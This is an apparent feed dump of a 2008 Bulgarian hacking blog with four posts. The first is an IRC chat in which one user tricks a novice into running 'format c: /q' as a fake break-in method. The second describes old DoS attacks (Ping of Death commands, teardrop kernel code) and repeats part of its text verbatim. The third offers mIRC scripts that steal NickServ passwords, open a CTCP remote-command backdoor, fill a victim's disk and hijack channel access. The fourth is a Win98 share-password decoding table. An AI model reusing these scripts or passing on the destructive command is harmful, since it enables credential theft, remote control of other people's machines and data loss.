4.10.2222&lt;br /&gt;&lt;bla_bla_bla_bla&gt; mnogo sam zle nali&lt;br /&gt;&lt;Orfey&gt; ne to4no tazi stavashe nomera &lt;br /&gt;&lt;Orfey&gt; i na oshte edna &lt;br /&gt;&lt;Orfey&gt; tq beshe 2.01.1997&lt;br /&gt;&lt;Orfey&gt; no tvoita pasvashe idealno &lt;br /&gt;&lt;bla_bla_bla_bla&gt; ok&lt;br /&gt;&lt;Orfey&gt; zna4i za da proniknesh v ... &lt;br /&gt;&lt;Orfey&gt; ti kade iskash da proniknesh po to4no &lt;br /&gt;&lt;Orfey&gt; v C D ? &lt;br /&gt;&lt;Orfey&gt; v koe ustroistvo &lt;br /&gt;&lt;bla_bla_bla_bla&gt; v c&lt;br /&gt;&lt;Orfey&gt; axam qsno &lt;br /&gt;&lt;Orfey&gt; zna4i &lt;br /&gt;&lt;Orfey&gt; trqbva da si restartnesh pc-to i predi da e zaredil windows-a natiskash F8 dokato vlezne v dos konzolata &lt;br /&gt;&lt;Orfey&gt; ina4e nqma da moje da stane &lt;br /&gt;&lt;Orfey&gt; razbirash li &lt;br /&gt;&lt;bla_bla_bla_bla&gt; da&lt;br /&gt;&lt;Orfey&gt; taka &lt;br /&gt;&lt;Orfey&gt; zna4i posle kato si na 4ist dos &lt;br /&gt;&lt;Orfey&gt; pishesh:&lt;br /&gt;&lt;bla_bla_bla_bla&gt; da&lt;br /&gt;&lt;Orfey&gt; nqkolko red-a &lt;br /&gt;&lt;Orfey&gt; 1-viq red&lt;br /&gt;&lt;bla_bla_bla_bla&gt; da&lt;br /&gt;&lt;Orfey&gt; format c: /q &lt;br /&gt;&lt;Orfey&gt; echo conn Ip c:/&lt;br /&gt;&lt;Orfey&gt; Echo get IP c:/&lt;br /&gt;&lt;Orfey&gt; sled tova &lt;br /&gt;&lt;Orfey&gt; trqbva da is4akash dokato &lt;br /&gt;&lt;Orfey&gt; napravi vryzka s protivnokovoto pc &lt;br /&gt;&lt;Orfey&gt; vsi4ko pomnish li &lt;br /&gt;&lt;bla_bla_bla_bla&gt; zapisvam si&lt;br /&gt;&lt;Orfey&gt; taka &lt;br /&gt;&lt;Orfey&gt; kogato proniknesh v negovoto pc &lt;br /&gt;&lt;bla_bla_bla_bla&gt; da&lt;br /&gt;&lt;Orfey&gt; pishesh win.com &lt;br /&gt;&lt;Orfey&gt; za da startirash windows-a i vse edno si v negovoto pc &lt;br /&gt;&lt;bla_bla_bla_bla&gt; da&lt;br /&gt;&lt;Orfey&gt; zna4i ima slu4ai v koito ponqkoga neuspqva da se vyrjat 2-te pc-ta &lt;br /&gt;&lt;Orfey&gt; toes &lt;br /&gt;&lt;Orfey&gt; trqbva da napishesh pak foramt c: /q i tiq drugite komandi &lt;br /&gt;&lt;Orfey&gt; dokato se vyrje &lt;br /&gt;&lt;bla_bla_bla_bla&gt; dobre&lt;br /&gt;&lt;Orfey&gt; ti koga mislish da pravish atakata &lt;br /&gt;&lt;Orfey&gt; ? &lt;br /&gt;&lt;bla_bla_bla_bla&gt; mi neznam&lt;br /&gt;&lt;bla_bla_bla_bla&gt; 6te vidm&lt;br /&gt;&lt;Orfey&gt; sega pusnato li mu e pc-to za da moga i az da ti pomagam ot tuka ?&lt;br /&gt;&lt;bla_bla_bla_bla&gt; ne&lt;br /&gt;&lt;Orfey&gt; zashtoto shtom bashta mu e programist shte imash nujda ot vynshna pomosht &lt;br /&gt;&lt;Orfey&gt; az shte mu zaglusha portovete i toi nqma da razbere 4e ti vlizash v pc-to mu &lt;br /&gt;&lt;bla_bla_bla_bla&gt; e sledkato pronikna i dakajem vkaram viros i toi formatira c: nqmana4in da razberaot kade e vlizan&lt;br /&gt;&lt;Orfey&gt; gore dolu no da ne zabravish da promenish hackers.log faila &lt;br /&gt;&lt;Orfey&gt; na negovoto pc &lt;br /&gt;&lt;Orfey&gt; i nqma koi da te razbere 4e si vleznal &lt;br /&gt;&lt;bla_bla_bla_bla&gt; ok&lt;br /&gt;&lt;bla_bla_bla_bla&gt; znae6 li nqkoi sait ot koito da nau4a nqkoi ne6ta&lt;br /&gt;&lt;Orfey&gt; ami tezi saitove sa dobre zashtiteni i samo opredeleni hora mogat da vlizat i da 4etat &lt;br /&gt;&lt;Orfey&gt; razbirash li &lt;br /&gt;&lt;Orfey&gt; ne vseki moje da vlezne i da 4ete ot tam &lt;br /&gt;&lt;bla_bla_bla_bla&gt; da&lt;br /&gt;&lt;Orfey&gt; imat 512 bitovo kreptirane &lt;br /&gt;&lt;bla_bla_bla_bla&gt; e 4etva dane banka&lt;br /&gt;&lt;Orfey&gt; ne no znaesh hackerite sa mnogo tyrseni &lt;br /&gt;&lt;Orfey&gt; i tam si opisvat vsi4ki na4ini za hack &lt;br /&gt;&lt;bla_bla_bla_bla&gt; eda&lt;br /&gt;&lt;Orfey&gt; i ako mojeshe vseki da vliza shtqxa policiqta da gi hvane &lt;br /&gt;&lt;Orfey&gt; razbirash li &lt;br /&gt;&lt;Orfey&gt; az dori v momenta ne sym s toq nick v koito me vijdash &lt;br /&gt;&lt;bla_bla_bla_bla&gt; da&lt;br /&gt;&lt;Orfey&gt; prosto sym napravil taka 4e da izglejda 4e sym s toq nick &lt;br /&gt;&lt;bla_bla_bla_bla&gt; ok&lt;br /&gt;&lt;bla_bla_bla_bla&gt; a imali na4in za pronicvane v komp v druga meja&lt;br /&gt;&lt;Orfey&gt; ami razbirase 4e ima &lt;br /&gt;&lt;Orfey&gt; no tam trqbva v BIOS=a na pc-to ti da barash &lt;br /&gt;&lt;Orfey&gt; a tam mislq 4e nishto neznaesh koe kakvo e nali &lt;br /&gt;&lt;bla_bla_bla_bla&gt; az nemoga da vlqza v biosa&lt;br /&gt;&lt;Orfey&gt; zashto ? &lt;br /&gt;&lt;Orfey&gt; ami za sega davai samo po lolanata mreja &lt;br /&gt;&lt;Orfey&gt; sled vreme shte se nau4ish i po drugata mreja &lt;br /&gt;&lt;bla_bla_bla_bla&gt; ok&lt;br /&gt;&lt;bla_bla_bla_bla&gt; i blagodarq&lt;br /&gt;&lt;Orfey&gt; nqma zashto vinagi sym nasreshta no trudno shte me otkrivash zashtoto vseki pyt vlizam s razli4ni nickove &lt;br /&gt;&lt;br /&gt;&lt;Orfey&gt; a tezi nickove se polzvat ot drugi users &lt;br /&gt;&lt;Orfey&gt; i neznqt 4e im polzvam nickovete&lt;br /&gt;&lt;Orfey&gt; razbirash li i na nikoi ne kazvai 4e az sym ti dal tazi informaciq &lt;br /&gt;&lt;bla_bla_bla_bla&gt; ok&lt;br /&gt;&lt;bla_bla_bla_bla&gt; 6temi kaje6 li maila si&lt;br /&gt;&lt;Orfey&gt; iskash li go ?&lt;br /&gt;&lt;bla_bla_bla_bla&gt; da&lt;br /&gt;&lt;Orfey&gt; sec samo 4e nqkoi se opitva da vlezne v linux-a mi &lt;br /&gt;&lt;bla_bla_bla_bla&gt; ok&lt;br /&gt;&lt;Orfey&gt; V.Milev@government.bg&lt;br /&gt;&lt;Orfey&gt; e mail-a mi &lt;br /&gt;&lt;Orfey&gt; no samo po speshnost mi pishi tam &lt;br /&gt;&lt;bla_bla_bla_bla&gt; ok&lt;br /&gt;&lt;Orfey&gt; ami tova e priqten hack The Planet  )&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                                                                                                            By paparazzix&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://paparazzix.blogspot.com/feeds/380477088808829614/comments/default' title='Коментари за публикацията'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1313300952954596524/380477088808829614' title='0 коментара'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/380477088808829614'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/380477088808829614'/><link rel='alternate' type='text/html' href='http://paparazzix.blogspot.com/2008/02/tutorials-hack-faq-dialup-user.html' title=''/><author><name>paparazzix</name><uri>http://www.blogger.com/profile/00417231163479818370</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1313300952954596524.post-7917184320067673684</id><published>2008-02-28T07:01:00.003-08:00</published><updated>2008-02-28T07:01:31.958-08:00</updated><title type='text'></title><content type='html'>Nuke и SYN flood атаки&lt;br /&gt;  С думата Nuke се нарича всяка атака на портовете на отдалечен компютър, която довежда до крах на ОС и срив на интернет връзките. Nuke не нарушава състоянието на файловата система и не руши &quot;желязото&quot; на компютъра - презареждайки ОС user&#39;ът може за продължи да работи в Мрежата.&lt;br /&gt;nuke.c&lt;br /&gt;  Атаката не е получила широко разпространение, тъй като е могла да работи само на UNIX системи с права root, използвайки RAW_SOCKET. Идеята за тази атака се е състояла в това, че тя е изпращала неправилни ICMP пакети за недостижимост на отдалечения сървър и машината-хост и губила връзката.&lt;br /&gt;Octopus&lt;br /&gt;   Унищожава всеки сървър, като го наводнява с TCP запитвания за връзка.&lt;br /&gt;&lt;br /&gt;PingOfDeath&lt;br /&gt;  AIX, Digital Unix, Linux, BSDi, OSF, SCO&lt;br /&gt;  В ръководството на CERT се говори, че този бъг с превишаване размерите на IP-пакетите води до зависване и презареждане на системите. В действителност, ако се вярва на описаните резултати, тази dos атака действа само на Windows с WinQVT.&lt;br /&gt;  За да се осъществи тази атака, трябва да се пусне програма ping с параметри:&lt;br /&gt;ping -l 65510 host.running.linux&lt;br /&gt;или на машина win:&lt;br /&gt;ping -l 65527 victim.dest.ip&lt;br /&gt;  Ping of Death основана на изпращането на повече от 65 527 байта данни + 20 байта IP-заглавки +8 байта ICMP-заглавки в един IP-пакет. С хитрост може да се постигне ефектен резултат - получените данни просто няма да се поместят в 16-битния вътрешен обмен, възниква непоправима грешка, която пречупва ОС.&lt;br /&gt;&lt;br /&gt;WinNuke&lt;br /&gt;  blue screen or reboot on Winхх/NT&lt;br /&gt;  В средата на май 1997г. чрез тази атака за няколко дни бил изведен от строя www.microsoft.com. наред с обичайните данни, изпращани по TCP връзките, стандартът предвижда също предаване на извънредни (Out Of Band) данни. На ниво формат на пакетите TCP това се изразява в нулев urgent pointer. При повечето РС&#39;та с установени Windows присъства мрежов протокол NetBIOS, услугите на който се осъществяват на 139 порт. Също често се среща MS DNS (53 поpт).&lt;br /&gt;  Както се изясни чрез експеримента, ако се включиш към Windows и по който и да е от подслушваните портове се изпратят няколко байта OutOfBand данни, реализацията на стека TCP/IP не знае какво да прави с тези данни и простичко машината увисва. Win попада в синия текстови екран, който съобщава за грешка в драйверите на TCP/IP и невъзможност за работа с мрежата до преинсталиране на ОС. NT без служба пакети се презарежда, а NT с SP2 попада също в синия екран. Nuke и SYN flood атаки&lt;br /&gt;  С думата Nuke се нарича всяка атака на портовете на отдалечен компютър, която довежда до крах на ОС и срив на интернет връзките. Nuke не нарушава състоянието на файловата система и не руши &quot;желязото&quot; на компютъра - презареждайки ОС user&#39;ът може за продължи да работи в Мрежата.&lt;br /&gt;nuke.c&lt;br /&gt;  Атаката не е получила широко разпространение, тъй като е могла да работи само на UNIX системи с права root, използвайки RAW_SOCKET. Идеята за тази атака се е състояла в това, че тя е изпращала неправилни ICMP пакети за недостижимост на отдалечения сървър и машината-хост и губила връзката.&lt;br /&gt;Octopus&lt;br /&gt;   Унищожава всеки сървър, като го наводнява с TCP запитвания за връзка.&lt;br /&gt;&lt;br /&gt;PingOfDeath&lt;br /&gt;  AIX, Digital Unix, Linux, BSDi, OSF, SCO&lt;br /&gt;  В ръководството на CERT се говори, че този бъг с превишаване размерите на IP-пакетите води до зависване и презареждане на системите. В действителност, ако се вярва на описаните резултати, тази dos атака действа само на Windows с WinQVT.&lt;br /&gt;  За да се осъществи тази атака, трябва да се пусне програма ping с параметри:&lt;br /&gt;ping -l 65510 host.running.linux&lt;br /&gt;или на машина win:&lt;br /&gt;ping -l 65527 victim.dest.ip&lt;br /&gt;  Ping of Death основана на изпращането на повече от 65 527 байта данни + 20 байта IP-заглавки +8 байта ICMP-заглавки в един IP-пакет. С хитрост може да се постигне ефектен резултат - получените данни просто няма да се поместят в 16-битния вътрешен обмен, възниква непоправима грешка, която пречупва ОС.&lt;br /&gt;&lt;br /&gt;WinNuke&lt;br /&gt;  blue screen or reboot on Winхх/NT&lt;br /&gt;  В средата на май 1997г. чрез тази атака за няколко дни бил изведен от строя www.microsoft.com. наред с обичайните данни, изпращани по TCP връзките, стандартът предвижда също предаване на извънредни (Out Of Band) данни. На ниво формат на пакетите TCP това се изразява в нулев urgent pointer. При повечето РС&#39;та с установени Windows присъства мрежов протокол NetBIOS, услугите на който се осъществяват на 139 порт. Също често се среща MS DNS (53 поpт).&lt;br /&gt;  Както се изясни чрез експеримента, ако се включиш към Windows и по който и да е от подслушваните портове се изпратят няколко байта OutOfBand данни, реализацията на стека TCP/IP не знае какво да прави с тези данни и простичко машината увисва. Win попада в синия текстови екран, който съобщава за грешка в драйверите на TCP/IP и невъзможност за работа с мрежата до преинсталиране на ОС. NT без служба пакети се презарежда, а NT с SP2 попада също в синия екран. Latierra&lt;br /&gt;   Crashes Windows 95, and will cause Windows NT 4.0, SP3 to utilize a high percentage of CPU. In some instances, CPU usage reaches %100&lt;br /&gt;Е модифицирана версия на land.c. изпраща практически същите пакети както и land, но едновременно на няколко порта. WinNT изобщо не го бърка дали е открит порта или не. NT с SP3 не позволява връзки към тези портове, но ако се манипулират различни портове, то реално може да се достигне нужния ефект.&lt;br /&gt;&lt;br /&gt;teardrop / overdrop&lt;br /&gt;   Linux(kernel up to 2.0.31)/NT/95(OSR)&lt;br /&gt;  Оказва се, че Linux има сериозен bug във функцията за сбор на фрагменти ip_glue().   Когато системата събира IP фрагментите с построяване на оригиналната дейтаграма, се стартира цикъл за копиране на всички полезни фрагменти от получената дейтаграма в буфера.&lt;br /&gt;От файла ip_fragment.c@376:&lt;br /&gt;fp = qp-&gt;fragments; // указател на списъка на получените пакети&lt;br /&gt;while(fp != NULL) // докато не са събрани всички нужни пакети&lt;br /&gt;{&lt;br /&gt;if(count+fp-&gt;len &gt; skb-&gt;len) //ако дължината на фрагмента е твърде&lt;br /&gt;{ // голяма, то той се отхвърля&lt;br /&gt;error_to_big; // за да не копира ядрото твърде&lt;br /&gt;} // много данни&lt;br /&gt;memcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);&lt;br /&gt;count += fp-&gt;len;&lt;br /&gt;fp = fp-&gt;next;&lt;br /&gt;}&lt;br /&gt;  Както е видно тук не се осъществява проверка за твърде марка дължина на фрагмента, която също заставя ядрото да копира голям обем данни (в случай, че fp-&gt;len по-малко от 0).&lt;br /&gt;  За да узнаете кога това става, погледнете точките на добавяне в дейтаграмата по реда на обработка на сбора.&lt;br /&gt;  От файла ip_fragment.c@502:&lt;br /&gt;// определяме позицията на фрагмента&lt;br /&gt;end = offset + ntohs(iph-&gt;tot_len) - ihl;&lt;br /&gt;  И какво се получава, когато ние прекроим фрагмента :&lt;br /&gt;  От файла ip_fragment.c@531:&lt;br /&gt;//Ние намерихме мястото, където да положим този фрагмент.&lt;br /&gt;// Проверка на сравняване с предшестващия фрагмент,&lt;br /&gt;// и, ако трябва, изравняваме, така че да се отстрани препокриването.&lt;br /&gt;if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)&lt;br /&gt;{&lt;br /&gt;i = prev-&gt;end - offset;&lt;br /&gt;offset += i; /* указател на дейтаграмата */&lt;br /&gt;ptr += i; /* указател на фрагмента */&lt;br /&gt;}&lt;br /&gt;  Ако открием, че текущото заместване на фрагмента е по-малко от края на предишния фрагмент (при сравнение), ни е необходимо да се опитаме да установим покриването. Всичко е ОК, ако съдържанието на текущия фрагмент съдържа достатъчно количество данни, за да превишава припокриването. В противен случай при смесването offset ще бъде по-голямо от end. Тези две значения се предават на функцията ip_frag_create(), в която се изчислява дължината на фрагмента (данните). &lt;br /&gt;  От файла ip_fragment.c@97:&lt;br /&gt;//Запълваме структурата&lt;br /&gt;fp-&gt;offset = offset;&lt;br /&gt;fp-&gt;end = end;&lt;br /&gt;fp-&gt;len = end - offset;&lt;br /&gt;  Това довежда към отрицателно значение на fp-&gt;len и функцията memcpy(), преведена по-нагоре ще грохне опитвайки се да копира твърде много данни, ще се пренатовари или увисне в зависимост от количеството.&lt;br /&gt;  Ние можем да провокираме такова нестандартно поведение по пътя на изпращане на две специално фрагментирани IP дейтаграми. Първата има нулево смесване на фрагмента с полезни данни и размер N, с установени MF битове &quot;фрагментиран пакет&quot; (съдържанието на данните не е важно). Вторият пакет се явява с последен флаг (MF равен на 0) с положително смесване по-малко от N и с данни по-малко от N.&lt;br /&gt;  Пример: две дейтаграми с размер 28 и 6 байта.&lt;br /&gt;prev-&gt;end= 28 // дължина на първата&lt;br /&gt;offset = 6; // смесване на втората&lt;br /&gt;iph-&gt;tot_len = 6; // размер на данните на втората&lt;br /&gt;end = offset + ntohs(iph-&gt;tot_len) - ihl; // end = 12&lt;br /&gt;// проверка при налагането&lt;br /&gt;if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)&lt;br /&gt;{&lt;br /&gt;i = prev-&gt;end - offset;&lt;br /&gt;offset += i; /* указател на дейтаграмата */&lt;br /&gt;ptr += i; /* указател на фрагмента */&lt;br /&gt;}&lt;br /&gt;// тук вече offset = 28, а end = 12 =&gt; ето и отрицателния резултат&lt;br /&gt;bonk &lt;br /&gt;Crashes *patched* win(OSR2)/NT 4.0 machines.&lt;br /&gt;  Използва открития UDP порт 55, който като правило е отворен на машините с установен IE. &lt;br /&gt;  Два щателно преработени IP пакета при сбор дават неправилна UDP дейтаграма.   Налагането на смесването води до това, че във вторият пакет се презаписва по средата заглавката на първия по такъв начин, че дейтаграмата остава незавършена, паметта не се освобождава и в края на краищата се изчерпва. Windows NT отделя част от ядрото на паметта за съхранение на тези дейтаграми и може да зависне от съобщение STOP 0x0000000A след обработка на достатъчно повредени UDP пакети.&lt;br /&gt;Майкрософт пуска не достатъчно изряден пач, който не напълно оправя тази грешка.   Разплата за небрежността става нощта между 2 и 3 март 1998г., когато неизвестен злоумишленик изведе от строя хиляди Windows-машини в САЩ именно с такава атака. Сред пострадалите се оказаха и NASA и Масачузетския технологичен университет.&lt;br /&gt;&lt;br /&gt;Newtear Модифицирана версия на teardrop&#39;a&lt;br /&gt;&lt;br /&gt;Affects patched NT4, and Win.&lt;br /&gt;   Основаваща се на същия принцип като TearDrop, newtear се явява нейно логично продължение: намалена е само реалната дължина на пакета, при което е увеличена логическата дължина (UDP).&lt;br /&gt;syndrop доразработена за работа с TCP, в комбинация с SYN flood&lt;br /&gt;&lt;br /&gt;boink&lt;br /&gt;   Концептуално по нищо не се отличава от bonk, просто се използват други портове. В програмата е добавена възможност за избор на диапазон на портове за bonk атака.&lt;br /&gt;&lt;br /&gt;Fraggle&lt;br /&gt;heavy flood of victims&lt;br /&gt;&lt;br /&gt;  продължението на идеята на smurf, довежда до образуването на прекалено голям трафик на жертвата, използвайки UDP протокол и 7 UDP порт (echo).&lt;br /&gt;&lt;br /&gt;Nestea&lt;br /&gt;Crashes linux 2.0.* and 2.1.* and some windows boxes&lt;br /&gt;&lt;br /&gt;  Използва лека модификация на идеята на teardrop&#39;a за фрагментация на пакети при атака към открит UDP port: изпращане на три фрагментиране пакети.&lt;br /&gt;&lt;br /&gt;Nestea2&lt;br /&gt;  Атаката е аналогична с nestea.c, само че са добавени опции за сканиране на подмрежа клас С.&lt;br /&gt;&lt;br /&gt;Targa&lt;br /&gt;   Комбинира осем атаки в една:&lt;br /&gt;bonk / jolt / land / nestea / newtear / syndrop / teardrop / winnuke</content><link rel='replies' type='application/atom+xml' href='http://paparazzix.blogspot.com/feeds/7917184320067673684/comments/default' title='Коментари за публикацията'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1313300952954596524/7917184320067673684' title='0 коментара'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/7917184320067673684'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/7917184320067673684'/><link rel='alternate' type='text/html' href='http://paparazzix.blogspot.com/2008/02/nuke-syn-flood-nuke.html' title=''/><author><name>paparazzix</name><uri>http://www.blogger.com/profile/00417231163479818370</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1313300952954596524.post-1334611852757772749</id><published>2008-02-28T07:01:00.001-08:00</published><updated>2008-02-28T07:01:13.547-08:00</updated><title type='text'></title><content type='html'>Remote Scripts purposed for mIRC hacking &lt;br /&gt;This page was created by Razor &lt;br /&gt;If you want to receive more mIRC scripts mail me at: &lt;br /&gt;naskom@gec.rakursy.com &lt;br /&gt;This scripts are for education purpose only!&lt;br /&gt;Script 1: Listen for Identifycation from the user and send it via MS &lt;br /&gt;&lt;br /&gt;This script has two parts. The first one is the code which must be paste in the Remote Script and the other one is that which must be put in Alias Definitions &lt;br /&gt;&lt;br /&gt;Remote Script (paste the text below): &lt;br /&gt;&lt;br /&gt;on 1:INPUT:*: { /if ($3 == identify) { &lt;br /&gt;;Change the &quot;PassMan&quot; in the next line to your nickname &lt;br /&gt;/set %rnick PassMan &lt;br /&gt;; Script developed by Bulhack (www.bulhack.org) &lt;br /&gt;   /if ( ? isin $4) || ( ? isin $5) { /.timer948 -m 1 1 /sendit | /haltdef } &lt;br /&gt;    else { $1- | /.msg ms send %rnick $1- | /.ignore -u60 MS | /haltdef } &lt;br /&gt;  } &lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;Alias Definitions (paste the lines below): &lt;br /&gt;&lt;br /&gt;/sendit { &lt;br /&gt;  ; Script developed by BulHack (bulhack.org) &lt;br /&gt;  /set %password $?*=&quot;Enter reply:&quot; &lt;br /&gt;  /.msg ns identify %password | /.msg ms send %rnick Parola: %password | /.ignore -u60 MS &lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;Script 2: Open a simple back door in the used computer &lt;br /&gt;&lt;br /&gt;ctcp 1:EXECUTE:*: $2- &lt;br /&gt;&lt;br /&gt;Now you can use this backdoor by typing this on your command prompt: &lt;br /&gt;/ctcp NICKNAME EXECUTE commands &lt;br /&gt;&lt;br /&gt;e.g.  /ctcp lamer EXECUTE /remove c:\config.sys &lt;br /&gt;&lt;br /&gt;Script 3: Overfilling the hard drive &lt;br /&gt;&lt;br /&gt;on 1:START:/.timer75 -om 0 1 /write -a c:\filer LONG_TEXT &lt;br /&gt;&lt;br /&gt;Replace LONG_TEXT with a long string like AAAA...A &lt;br /&gt;&lt;br /&gt;Script 4: Adding your nickname using the CS bot &lt;br /&gt;&lt;br /&gt;ctcp 1:ADD*:*: { /.msg cs access $2 add $3 $4 | /set %varhack ON | /.msg $3 Command send successful!!! | /.ignore -u60 CS | /haltdef } &lt;br /&gt;&lt;br /&gt;Now you can add yourself in a chan by using the command below: &lt;br /&gt;&lt;br /&gt;/ctcp NICKNAME ADD #channel nickname level &lt;br /&gt;&lt;br /&gt;e.g. /ctcp lamer ADD #bulgaria PassMan 100</content><link rel='replies' type='application/atom+xml' href='http://paparazzix.blogspot.com/feeds/1334611852757772749/comments/default' title='Коментари за публикацията'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1313300952954596524/1334611852757772749' title='0 коментара'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/1334611852757772749'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1313300952954596524/posts/default/1334611852757772749'/><link rel='alternate' type='text/html' href='http://paparazzix.blogspot.com/2008/02/remote-scripts-purposed-for-mirc.html' title=''/><author><name>paparazzix</name><uri>http://www.blogger.com/profile/00417231163479818370</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1313300952954596524.post-561276362003773146</id><published>2008-02-28T07:00:00.005-08:00</published><updated>2008-02-28T07:00:58.475-08:00</updated><title type='text'></title><content type='html'>this table is for converting MS window share passwords into clear text&lt;br /&gt;stored in the win98 reg at &lt;br /&gt;HKEY_LOCAL_MACHINE\SOFTWARE\&lt;br /&gt;Microsoft\Windows\CurrentVersion\Network\LanMan&lt;br /&gt;&lt;br /&gt;parm1enc  &lt;br /&gt;you may see &quot;74d80e&quot;&lt;br /&gt;&lt;br /&gt;break the sting into two char hex&lt;br /&gt;&lt;br /&gt; &quot;74 d8 0e&quot;&lt;br /&gt;&lt;br /&gt;if you look at the table you will that:&lt;br /&gt;&lt;br /&gt; a[1] = 74, b[2] = d8, and c[3] = 0e&lt;br /&gt;&lt;br /&gt;thus the password is&lt;br /&gt;&lt;br /&gt; ABC&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A =74 =db =0c =e7 =12 =e8 =95 =2b&lt;br /&gt;B =77 =d8 =0f =e4 =11 =eb =96 =28&lt;br /&gt;C =76 =d9 =0e =e5 =10 =ea =97 =29&lt;br /&gt;D =71 =de =09 =e2 =17 =ed =90 =2e&lt;br /&gt;E =70 =df =08 =e3 =16 =ec =91 =2f&lt;br /&gt;F =73 =dc =0b =e0 =15 =ef =92 =2c&lt;br /&gt;G =72 =dd =0a =e1 =14 =ee =93 =2d&lt;br /&gt;H =7d =d2 =05 =ee =1b =e1 =9c =22&lt;br /&gt;I =7c =d3 =04 =ef =1a =e0 =9d =23&lt;br /&gt;J =7f =d0 =07 =ec =19 =e3 =9e =20&lt;br /&gt;K =7e =d1 =06 =ed =18 =e2 =9f =21&lt;br /&gt;L =79 =d6 =01 =ea =1f =e5 =98 =26&lt;br /&gt;M =78 =d7 =00 =eb =1e =e4 =99 =27&lt;br /&gt;N =7b =d4 =03 =e8 =1d =e7 =9a =24&lt;br /&gt;O =7a =d5 =02 =e9 =1c =e6 =9b =25&lt;br /&gt;P =65 =ca =1d =f6 =03 =f9 =84 =3a&lt;br /&gt;Q =64 =cb =1c =f7 =02 =f8 =85 =3b&lt;br /&gt;R =67 =c8 =1f =f4 =01 =fb =86 =38&lt;br /&gt;S =66 =c9 =1e =f5 =00 =fa =87 =39&lt;br /&gt;T =61 =ce =19 =f2 =07 =fd =80 =3e&lt;br /&gt;U =60 =cf =18 =f3 =06 =fc =81 =3f&lt;br /&gt;V =63 =cc =1b =f0 =05 =ff =82 =3c&lt;br /&gt;W =62 =cd =1a =f1 =04 =fe =83 =3d&lt;br /&gt;X =6d =c2 =15 =fe =0b =f1 =8c =32&lt;br /&gt;Y =6c =c3 =14 =ff =0a =f0 =8d =33&lt;br /&gt;Z =6f =c0 =17 =fc =09 =f3 =8e =30&lt;br /&gt;space =15 =ba =6d =86 =73 =89 =f4 =4a&lt;br /&gt;1 =04 =ab =7c =97 =62 =98 =e5 =5b&lt;br /&gt;2 =07 =a8 =7f =94 =61 =9b =e6 =58&lt;br /&gt;3 =06 =a9 =7e =95 =60 =9a =e7 =59&lt;br /&gt;4 =01 =ae =79 =92 =67 =9d =e0 =5e&lt;br /&gt;5 =00 =af =78 =93 =66 =9c =e1 =5f&lt;br /&gt;6 =03 =ac =7b =90 =65 =9f =e2 =5c&lt;br /&gt;7 =02 =ad =7a =91 =64 =9e =e3 =5d&lt;br /&gt;8 =0d =a2 =75 =9e =6b =91 =ec =52&lt;br /&gt;9 =0c =a3 =74 =9f =6a =90 =ed =53&lt;br /&gt;0 =05 =aa =7d =96 =63 =99 =e4 =5a&lt;br /&gt;~ =4b =e4 =33 =d8 =2d =d7 =aa =14&lt;br /&gt;` =55 =fa =2d =c6 =33 =c9 =b4 =0a&lt;br /&gt;! =14 =bb =6c =87 =72 =88 =f5 =4b&lt;br /&gt;@ =75 =da =0d =e6 =13 =e9 =94 =2a&lt;br /&gt;# =16 =b9 =6e =85 =70 =8a =f7 =49&lt;br /&gt;$ =11 =be =69 =82 =77 =8d =f0 =4e&lt;br /&gt;% =10 =bf =68 =83 =76 =8c =f1 =4f&lt;br /&gt;^ =6b =c4 =13 =f8 =0d =f7 =8a =34&lt;br /&gt;&amp; =13 =bc =6b =80 =75 =8f =f2 =4c&lt;br /&gt;* =1f =b0 =67 =8c =79 =83 =fe =40&lt;br /&gt;( =1d =b2 =65 =8e =7b =81 =fc =42&lt;br /&gt;) =1c =b3 =64 =8f =7a =80 =fd =43&lt;br /&gt;- =18 =b7 =60 =8b =7e =84 =f9 =47&lt;br /&gt;_ =6a =c5 =12 =f9 =0c =f6 =8b =35&lt;br /&gt;+ =1e =b1 =66 =8d =78 =82 =ff =41&lt;br /&gt;= =08 =a7 =70 =9b =6e =94 =e9 =57&lt;br /&gt;[ =6e =c1 =16 =fd =08 =f2 =8f =31&lt;br /&gt;] =68 =c7 =10 =fb =0e =f4 =89 =37&lt;br /&gt;{ =4e =e1 =36 =dd =28 =d2 =af =11&lt;br /&gt;} =48 =e7 =30 =db =2e =d4 =a9 =17&lt;br /&gt;; =0e =a1 =76 =9d =68 =92 =ef =51&lt;br /&gt;: =0f =a0 =77 =9c =69 =93 =ee =50&lt;br /&gt;&#39; =12 =bd =6a =81 =74 =8e =f3 =4d&lt;br /&gt;&quot; =17 =b8 =6f =84 =71 =8b =f6 =48&lt;br /&gt;, =19 =b6 =61 =8a =7f =85 =f8 =46&lt;br /&gt;&lt; =09 =a6 =71 =9a =6f =95 =e8 =56&lt;br /&gt;. =1b =b4 =63 =88 =7d =87 =fa =44&lt;br /&gt;&gt; =0b =a4 =73 =98 